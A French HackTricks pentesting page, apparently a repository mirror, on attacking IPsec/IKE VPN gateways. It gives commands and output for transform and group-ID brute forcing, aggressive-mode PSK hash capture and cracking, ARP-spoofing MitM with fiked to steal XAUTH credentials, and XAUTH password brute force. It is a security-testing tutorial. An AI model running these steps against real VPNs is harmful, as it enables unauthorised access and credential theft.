mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 21:24:06 +00:00
237 lines
17 KiB
Markdown
237 lines
17 KiB
Markdown
# Informations de base
|
|
|
|
IPsec est la technologie la plus couramment utilisée pour les solutions VPN d'entreprise, à la fois pour les passerelles à passerelles (LAN à LAN) et pour les accès à distance (hôte à passerelle).
|
|
|
|
**IKE est un type d'implémentation ISAKMP** (Internet Security Association Key Management Protocol), qui est un cadre pour l'authentification et l'échange de clés. IKE établit l'association de sécurité (SA) entre deux points d'extrémité via un processus en trois phases :
|
|
|
|
* **Phase 1 :** Établissement d'un canal sécurisé entre 2 points d'extrémité à l'aide d'une clé pré-partagée (PSK) ou de certificats. Il peut utiliser le mode principal (3 paires de messages) ou le mode **agressif**.
|
|
* **Phase 1.5 :** C'est facultatif, cela s'appelle la phase d'authentification étendue et authentifie l'utilisateur qui essaie de se connecter (utilisateur + mot de passe).
|
|
* **Phase 2 :** Négocie les paramètres de sécurité des données en utilisant ESP et AH. Il peut utiliser un algorithme différent de celui utilisé dans la phase 1 (Perfect Forward Secrecy (PFS)).
|
|
|
|
**Port par défaut :** 500/udp
|
|
|
|
# **Découvrir** le service en utilisant nmap
|
|
```
|
|
root@bt:~# nmap -sU -p 500 172.16.21.200
|
|
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
|
Nmap scan report for 172.16.21.200
|
|
Host is up (0.00036s latency).
|
|
PORT STATE SERVICE
|
|
500/udp open isakmp
|
|
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|
```
|
|
# **Trouver une transformation valide**
|
|
|
|
La configuration IPSec peut être préparée pour n'accepter qu'une ou quelques transformations. Une transformation est une combinaison de valeurs. Chaque transformation contient un certain nombre d'attributs tels que DES ou 3DES comme algorithme de chiffrement, SHA ou MD5 comme algorithme d'intégrité, une clé pré-partagée comme type d'authentification, Diffie-Hellman 1 ou 2 comme algorithme de distribution de clé et 28800 secondes comme durée de vie.
|
|
|
|
Ensuite, la première chose à faire est de trouver une transformation valide, afin que le serveur puisse communiquer avec vous. Pour ce faire, vous pouvez utiliser l'outil ike-scan. Par défaut, Ike-scan fonctionne en mode principal et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition avec huit transformations à l'intérieur.
|
|
|
|
En fonction de la réponse, vous pouvez obtenir des informations sur le point de terminaison :
|
|
```
|
|
root@bt:~# ike-scan -M 172.16.21.200
|
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
|
172.16.21.200 Main Mode Handshake returned
|
|
HDR=(CKY-R=d90bf054d6b76401)
|
|
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
|
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|
|
|
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
|
```
|
|
Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé **AUTH** avec la valeur **PSK**. Cela signifie que le vpn est configuré en utilisant une clé pré-partagée (et c'est vraiment bon pour un pentester).\
|
|
**La valeur de la dernière ligne est également très importante:**
|
|
|
|
* _0 poignée de main retournée; 0 notification retournée:_ Cela signifie que la cible n'est **pas une passerelle IPsec**.
|
|
* _**1 poignée de main retournée; 0 notification retournée:**_ Cela signifie que la **cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et l'un ou plusieurs des transformations que vous avez proposées sont acceptables** (une transformation valide sera affichée dans la sortie).
|
|
* _0 poignée de main retournée; 1 notification retournée:_ Les passerelles VPN répondent avec un message de notification lorsque **aucune des transformations n'est acceptable** (bien que certaines passerelles ne le fassent pas, auquel cas une analyse plus approfondie et une proposition révisée devraient être essayées).
|
|
|
|
Dans ce cas, nous avons déjà une transformation valide, mais si vous êtes dans le 3ème cas, vous devez **forcer un peu pour trouver une transformation valide:**
|
|
|
|
Tout d'abord, vous devez créer toutes les transformations possibles:
|
|
```bash
|
|
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
|
|
```
|
|
Et ensuite, forcez chaque mot de passe en utilisant ike-scan (cela peut prendre plusieurs minutes):
|
|
```bash
|
|
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
|
```
|
|
Si la méthode de la force brute n'a pas fonctionné, il se peut que le serveur réponde sans poignées de main même aux transformations valides. Dans ce cas, vous pouvez essayer la même méthode de force brute mais en utilisant le mode agressif :
|
|
```bash
|
|
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
|
```
|
|
Espérons qu'**une transformation valide soit renvoyée**.\
|
|
Vous pouvez essayer la **même attaque** en utilisant [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
|
|
Vous pouvez également essayer de forcer les transformations avec [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
|
|
```bash
|
|
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
|
|
```
|
|
.png>)
|
|
|
|
Dans **DH Group: 14 = 2048-bit MODP** et **15 = 3072-bit**\
|
|
**2 = HMAC-SHA = SHA1 (dans ce cas). Le format --trans est $Enc,$Hash,$Auth,$DH**
|
|
|
|
Cisco recommande d'éviter en particulier les groupes DH 1 et 2. Les auteurs de l'article décrivent comment il est probable que les États-nations puissent décrypter les sessions IPsec négociées à l'aide de groupes faibles via la précomputation des logarithmes discrets. Les centaines de millions de dollars dépensés pour effectuer la précomputation sont amortis par le déchiffrement en temps réel de toute session utilisant un groupe faible (1 024 bits ou moins).
|
|
|
|
## Fingerprinting du serveur
|
|
|
|
Ensuite, vous pouvez utiliser ike-scan pour essayer de **découvrir le vendeur** du dispositif. L'outil envoie une proposition initiale et arrête la relecture. Ensuite, en **analysant** la **différence de temps** entre les messages reçus du serveur et le modèle de réponse correspondant, le pentester peut identifier avec succès le vendeur de la passerelle VPN. De plus, certains serveurs VPN utiliseront la charge utile optionnelle **Vendor ID (VID)** avec IKE.
|
|
|
|
**Spécifiez la transformation valide si nécessaire** (en utilisant --trans)
|
|
|
|
Si IKE découvre le vendeur, il l'affichera :
|
|
```
|
|
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
|
|
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
|
|
172.16.21.200 Main Mode Handshake returned
|
|
HDR=(CKY-R=4f3ec84731e2214a)
|
|
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
|
|
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|
|
|
IKE Backoff Patterns:
|
|
|
|
IP Address No. Recv time Delta Time
|
|
172.16.21.200 1 1322286031.744904 0.000000
|
|
172.16.21.200 2 1322286039.745081 8.000177
|
|
172.16.21.200 3 1322286047.745989 8.000908
|
|
172.16.21.200 4 1322286055.746972 8.000983
|
|
172.16.21.200 Implementation guess: Cisco VPN Concentrator
|
|
|
|
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
|
|
```
|
|
Cela peut également être réalisé avec le script nmap _**ike-version**_.
|
|
|
|
# Trouver le bon ID (nom de groupe)
|
|
|
|
Pour être autorisé à capturer le hash, vous avez besoin d'une transformation valide prenant en charge le mode Aggressive et du bon ID (nom de groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, vous devrez donc le brute-force.\
|
|
Pour ce faire, je vous recommande 2 méthodes :
|
|
|
|
## Brute-forcer l'ID avec ike-scan
|
|
|
|
Tout d'abord, essayez de faire une demande avec un faux ID en essayant de rassembler le hash ("-P"):
|
|
```bash
|
|
ike-scan -P -M -A -n fakeID <IP>
|
|
```
|
|
Si **aucun hash n'est renvoyé**, alors cette méthode de force brute devrait fonctionner. **Si un hash est renvoyé, cela signifie qu'un faux hash va être renvoyé pour un faux ID, donc cette méthode ne sera pas fiable** pour forcer l'ID. Par exemple, un faux hash pourrait être renvoyé (cela se produit dans les versions modernes) :
|
|
|
|
.png>)
|
|
|
|
Mais si, comme je l'ai dit, aucun hash n'est renvoyé, vous devriez essayer de forcer les noms de groupe courants en utilisant ike-scan.
|
|
|
|
Ce script **essaiera de forcer les IDs possibles** et renverra les IDs où une poignée de main valide est renvoyée (ce sera un nom de groupe valide).
|
|
|
|
Si vous avez découvert une transformation spécifique, ajoutez-la à la commande ike-scan. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'entre elles fonctionne correctement).
|
|
|
|
Vous pouvez utiliser le [dictionnaire d'ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ou [celui de seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) de noms de groupe courants pour les forcer :
|
|
```bash
|
|
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
|
```
|
|
## Bruteforcing ID avec Iker
|
|
|
|
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilise également **ike-scan** pour forcer les noms de groupe possibles. Il suit sa propre méthode pour **trouver un ID valide basé sur la sortie de ike-scan**.
|
|
|
|
## Bruteforcing ID avec ikeforce
|
|
|
|
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) est un outil qui peut être utilisé pour **forcer les IDs également**. Cet outil va **essayer d'exploiter différentes vulnérabilités** qui pourraient être utilisées pour **distinguer entre un ID valide et un ID non valide** (il peut y avoir des faux positifs et des faux négatifs, c'est pourquoi je préfère utiliser la méthode ike-scan si possible).
|
|
|
|
Par défaut, **ikeforce** enverra au début des IDs aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.
|
|
|
|
* La **première méthode** consiste à forcer les noms de groupe en **recherchant** les informations **Dead Peer Detection DPD** des systèmes Cisco (ces informations ne sont renvoyées par le serveur que si le nom de groupe est correct).
|
|
|
|
* La **deuxième méthode** disponible consiste à **vérifier le nombre de réponses envoyées à chaque tentative** car parfois plus de paquets sont envoyés lorsque le bon ID est utilisé.
|
|
|
|
* La **troisième méthode** consiste à **rechercher "INVALID-ID-INFORMATION" en réponse à un ID incorrect**.
|
|
|
|
* Enfin, si le serveur ne renvoie rien aux vérifications, **ikeforce** essaiera de forcer le serveur et de vérifier si lorsque le bon ID est envoyé, le serveur renvoie un paquet.\
|
|
Évidemment, le but de la force brute de l'ID est d'obtenir le **PSK** lorsque vous avez un ID valide. Ensuite, avec l'**ID** et le **PSK**, vous devrez forcer le XAUTH (s'il est activé).
|
|
|
|
Si vous avez découvert une transformation spécifique, ajoutez-la à la commande ikeforce. Et si vous avez découvert plusieurs transformations, n'hésitez pas à ajouter une nouvelle boucle pour les essayer toutes (vous devriez les essayer toutes jusqu'à ce que l'une d'entre elles fonctionne correctement).
|
|
```bash
|
|
git clone https://github.com/SpiderLabs/ikeforce.git
|
|
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|
```
|
|
|
|
```bash
|
|
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
|
```
|
|
## Sniffing ID
|
|
|
|
Il est également possible d'obtenir des noms d'utilisateur valides en reniflant la connexion entre le client VPN et le serveur, car le premier paquet de mode agressif contenant l'ID client est envoyé en clair (du livre **Network Security Assessment: Know Your Network**)
|
|
|
|
.png>)
|
|
|
|
# Capture et craquage du hash
|
|
|
|
Enfin, si vous avez trouvé une **transformation valide** et le **nom de groupe** et si le **mode agressif est autorisé**, alors vous pouvez très facilement récupérer le hash crackable:
|
|
```bash
|
|
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
|
```
|
|
Le hash sera enregistré dans le fichier _hash.txt_.
|
|
|
|
Vous pouvez utiliser **psk-crack**, **john** (en utilisant [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) et **hashcat** pour **craquer** le hash :
|
|
```bash
|
|
psk-crack -d <Wordlist_path> psk.txt
|
|
```
|
|
# **XAuth**
|
|
|
|
La plupart des implémentations utilisent le mode IKE agressif avec un PSK pour effectuer une authentification de groupe, et **XAUTH pour fournir une authentification utilisateur supplémentaire** (via Microsoft Active Directory, RADIUS ou similaire). Dans **IKEv2**, **EAP remplace XAUTH** pour authentifier les utilisateurs.
|
|
|
|
## MitM du réseau local pour capturer les identifiants
|
|
|
|
Vous pouvez capturer les données de connexion en utilisant _fiked_ et voir s'il y a un nom d'utilisateur par défaut (Vous devez rediriger le trafic IKE vers `fiked` pour le sniffing, ce qui peut être fait à l'aide de l'usurpation ARP, [plus d'informations](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agira en tant que point d'extrémité VPN et capturera les identifiants XAuth :
|
|
```bash
|
|
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|
```
|
|
De plus, en utilisant IPSec, essayez de faire une attaque MitM et de bloquer tout le trafic vers le port 500. Si le tunnel IPSec ne peut pas être établi, le trafic sera peut-être envoyé en clair.
|
|
|
|
## Brute-forcing XAUTH username et mot de passe avec ikeforce
|
|
|
|
Pour effectuer une attaque de force brute sur **XAUTH** (lorsque vous connaissez un nom de groupe valide **id** et le **psk**), vous pouvez utiliser un nom d'utilisateur ou une liste de noms d'utilisateurs et une liste de mots de passe :
|
|
```bash
|
|
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
|
|
```
|
|
De cette façon, ikeforce essaiera de se connecter en utilisant chaque combinaison nom d'utilisateur: mot de passe.
|
|
|
|
Si vous avez trouvé une ou plusieurs transformations valides, utilisez-les comme dans les étapes précédentes.
|
|
|
|
# Authentification avec un VPN IPSEC
|
|
|
|
Dans Kali, **VPNC** est utilisé pour établir des tunnels IPsec. Les **profils** doivent être situés dans **_/etc/vpnc/_** et vous pouvez utiliser l'outil _**vpnc**_ pour les appeler.\
|
|
Exemple tiré du livre **Network Security Assessment 3rd Edition**:
|
|
```
|
|
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
|
|
IPSec gateway 10.0.0.250
|
|
IPSec ID vpntest
|
|
IPSec secret groupsecret123
|
|
IKE Authmode psk
|
|
Xauth username chris
|
|
Xauth password tiffers1
|
|
STOP
|
|
root@kali:~# vpnc vpntest
|
|
VPNC started in background (pid: 6980)...
|
|
root@kali:~# ifconfig tun0
|
|
```
|
|
# Matériel de référence
|
|
|
|
* [Article sur le craquage de PSK](http://www.ernw.de/download/pskattack.pdf)
|
|
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
|
* [Analyse d'implémentation VPN](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)
|
|
|
|
# Shodan
|
|
|
|
* `port:500 IKE`
|
|
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|